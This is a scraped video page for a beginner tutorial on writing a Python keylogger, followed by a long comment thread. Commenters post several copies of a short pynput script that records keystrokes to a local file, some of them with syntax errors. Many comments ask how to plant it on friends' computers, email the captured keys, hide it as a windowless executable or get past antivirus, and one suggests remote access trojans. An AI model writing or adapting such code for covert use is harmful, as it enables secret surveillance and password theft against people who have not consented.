How To Code A Keylogger In Python | Programming Tutorial For Beginners
Vložit
- čas přidán 27. 07. 2022
- Hey guys!
In today's video, we discuss how to write a keylogger in Python. A keylogger logs all keys on your keyboard and hides in the background. This is a common tool used by hackers for stealing all kinds of information from users without them even knowing. Please don't do this for real! Learning purposes only :D Enjoy!
These projects are available on GitHub at
--------------------------------------------------------------------------------------
github.com/ShaunHalverson/Pyt...
Add Me On Discord!
--------------------------------------------------------------------------------------
Username: Shaun(Hashtag)5626
Software Engineering / Programming for beginners / variables types / computer science /compsci / coding for beginners / learn how to program / learn how to code / python variables / python for beginners / coding tutorial / programming tutorial
Want to see more? Click on this spicy link :D
/ @shaunhalverson
Assets in the thumbnail were provided by artists on
www.canva.com
All art and copyright ownership belongs to the artists on Canva and is under the protection of the Canva pro membership.
#programming #tutorial #learntocode
🗿 I'm definitely using this for educational purposes, thank you 🗿
😂
😂😂😂
😂😂😂😂
😂😂😂😂😂
😂😂😂😂😂😂@@Mera2002
My friend!!! So much thank you for this! I've been working on HTML&CSS, JavaScript and Python for almost a year now. Done a lot of nice things already, but I always had a problem with installing libraries. Always got errors, never worked. Yeah yeah you all can laugh (I almost cried about it) watched dozens of video's about it, starting to feel really stupid... And your simply explaination / demonstration in the beginning, it worked! Now I finally can make serious progression with Python! Since libraries are half of the work. Thanks for this cool keylogger but MANY MORE THANKS for explaining / demonstrating libraries 😀 Like and a sub
I totally agree with libraries are a lot of work. So much stress just for installing / configuring stuff which usually doesn't even work even if you follow everything, line by line 😂😂
Thank you. I promise, I'm not a bad guy.
none of us are ❤
That is a little bit sus
I AM
Well I am 🥲
Solid explanation!! Was looking into cyber security projects and this was one of the projects that popped up glad it brought me here!
Me too. Can we link up and learn more stuff together? I'm in cyber security too
from pynput import keyboard
def keyPressed(key):
print(str(key))
with open("keyfile.txt", 'a') as logkey:
try:
char = key.char
logkey.write(char)
execpt:
print("Error getting char")
if__name__ == "__main__":
listener = keyboard.Listener(on_press=keypressed)
listener.start()
input()
thanks bro amazing video :)
You said you work in cybersec. can you make some tutorials from this field? this would be very intresting to learn
Today I see your video and make a keylogger I have trouble starting but get it working 👍👍🙏
Excellent, thanks for sharing...
Dude that was Epic
thank you so much for this video, you saved me!
Thanks man very helpful
thankyou so much you just saved my grade:))
Is there a way I could open the key file into a certain folder?
thanks bro, you saved me
You deserve a Follow
aren't all characters in python strings with a length of 1? char is a keyword from c/c++ with character data types?? you could say x = key.x as well or anything
How to i add the on release function to stop the keylogger
Thank you so much bro ❤
I was trying to find this for so long and finally it works thanks a ton♥
can u please tell me how do i send the keylogger to a friend and get his information when he is typing???
@@XBeloFn that is illegal bro 💀💀💀💀💀💀
@@proddanyy how do i do it
Does this only work for Windows because I tried this for me Debian based Linux distro and it wouldn't create a .txt file
it stop when i pressed ok enter key ;how to fixe this problem and ;how to create new file txt to enregister new use
Thank you ❤️
Thanks im gonna use this for school
I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?
hello bro where I can write to you with questions
5:52 should you really use a bare Except? Isn't there a more Specific exception you could use?
I ran the code and the Windows Defender didn't alarmed me or anything
Can the code record the name of the control clicked and textbox that is receiving the text?
have you found out?
My team found some sample code to do this job. Been long time, not coding for last 6 months sorry.
Question how would I send this to a mobile device I’m testing it on my phone btw for “educational purposes”
done with the project but how can i use the code for targeting another system
Bro wanna hack
```
from pynput import keyboard
def keyPressed(key):
print(str(key))
with open("keyfile.txt",'a') as logkey:
try:
char = key.char
logkey.write(char)
except:
print("error getting char")
if __name__ == '__main__':
listener = keyboard.Listener(on_press=keyPressed)
listener.start()
input()
```
from pynput import keyboard
def keyPressed(key):
print(str(key))
with open("keyfile.txt",'a') as logkey:
try:
char = key.char
logkey.write(char)
except:
print("error getting char")
if __name__ == '__main__':
listener = keyboard.Listener(on_press=keyPressed)
listener.start()
input()
@@bonbondonk8389 what's the difference?
bro why its not working on me?
i installed pynput but i cant import neither pynput nor keyboard from pynput
reload visual studios
why it doesn't work on password field. it doesn't work when i type my password
Anyone know where the keylogger.txt file is saved?
ty ;)
Can this keylogger read sms messages
I was hoping to use examples to understand how a background application would see the Userspace.
Is there a way for a script to run (ex. on cron/startup), to prompt the User for input, on a Linux system?
can u tell me how do i send other people the keylogger like in discord how do i send my friend the keylogger
@@XBeloFnmake the .py file an .exe
Anybody know how I could use this o. Mobile phone
My Av didnt detect the keylogger did I do something wrong? and it isnt creating the txt file all of the key logs are being recorded in the terminal?
being as though the av didnt detect it how can I turn it off?
how do i get pynput
How do i make it to accept spaces instead of sending an error??
You could make the except write a space also I feel like if you used strings instead of chars it wouldn’t be an issue
Please make a video email keylogger from python and how it works in windows
hey did anyone get an error cause i got an "error getting char" and I'm not seeing the key file being made for mine wondering if anyone had the same issue?
yea Im having the same issue
doesnt detect uppercase letters
Is there a way for code to run remotely like a user downloaded a file from online not knowing it's a keylogger script ... Then on install it's starts logging user key stroke .... Asking for school project.
Even I want to know that have u got the answer
it doesnt log spaces?
is this a netsite
how i press play (where)
Trying to pack this into an .exe file with pyinstaller, tried creating with "--onefile --noconsole" but getting this error "line 15, in
RuntimeError: input(): lost sys.stdin". Packing it into an exe with the console visible works just fine but of course thats not ideal.
hey did you get a char error when you tried it?
hey did you get a char error when you tried it?
@@MightBeClive No character errors just seems to need the console window when running, no way to have it run in the background from what I can figure out anyway.
How to make this append a password-protected.zip?
this is surely scary i tried it for educational purpose
where did u runned it?
the app what u use
it is vscode
U run python with sumthin(im using idle and vscode)
but what if I enjected it in someones computer. do it still send me the keys that he used?
Yes i think so
@@konamiitti2343 no, it will make a txt file on their computer
i installed pynput but i still have those yellow lines and the listener does not work could you pls help me?
same happened to me
same here
I had the same issue, but I found a solution:
czcams.com/video/dj5oOPaeIqI/video.html
For me it installed it to the wrong version of Python, all I had to do was switch to the version it installed to and it worked
listener should be Listener
How to makes so i get the keys also (NOT WILL USE IT WILL USE IT TO LEARN CODING AND MORE!)
Why doesn't it show spaces?
how to make this to exe ??
pyinstaller
i tried running the program but got 'cant open file invalid argument' error in the terminal
I've also
Same here had so many error why doesn’t he reply
@@Allaboutcars997 from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol
yall stupid
try this instead
from pynput import keyboard
# creating file and writing to it
def no(key):
with open('key.txt','a') as logkey:
logkey.write(f'
{key}')
#the code
if __name__ == "__main__":
listener = keyboard.Listener(on_press=no)
listener.start()
input()
bro my antivirus deleted the file, guess i shouldn't have done it on my school computer...
how to stop it?
If you can tell me how to send this file to email
pretty sure thats illegal if the reciever getting the email doens't know why would you want to do that?
pls some tell me what to do here
You probably didint import keyboard, Can you show me your full code?
Import the keyboard!
How do I send it to my email?
Wait I will file a case on you 😂😂😂
@@amitpaul6109 ong
Now am wondering how can i make it as a spyware (am just educating) aight
Great tutorial! Nice to see if that you are a fellow Minecrafter too. Feel free to invite me to play online
No key file got formed what to do
Make sure to save .py file before running
it does not work for games
yoo men , idk if u can help me but when i creare de code and i save it when i tried to open it again i cant .
and idk how to fix the problem
thanks
whats ur discord
It does not not create the txt file
you have to select the project folder in the explorer menu
You have just informed people that want to hack exactly how to do it.
so if i send that file to my friend's computer and he run on it, and open his social media account, it will send it to my txt ?
No, you're better off using a Remote Access Trojan for that (for educational purposes of course)
i got error 22 in terminal "invalid argument"
from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol
@@Derrmyster nah i kind of forgot that i ever even wanted to make keylogger
is it work for android ?
Module cannot be callable
Can it work on android
no
Bro pip is not installing
be sure that your casing is correct along with spelling. if thats all good sometimes you might have to try the other method of : " py -m pip install ' insert here ' " or directly " ' pip install ' insert here '
here is also a time stamp if you need to rewatch him do it 1:45
@@Derrmyster thnx but I have resolved that issue thnx
where do u click play man
hey i got a error when i run it
Hey guys did have someone a finish Keylogger Datei who can send me pleas :D
🗿
dw i am using it for a game
did it work?
SyntaxError: expected ':'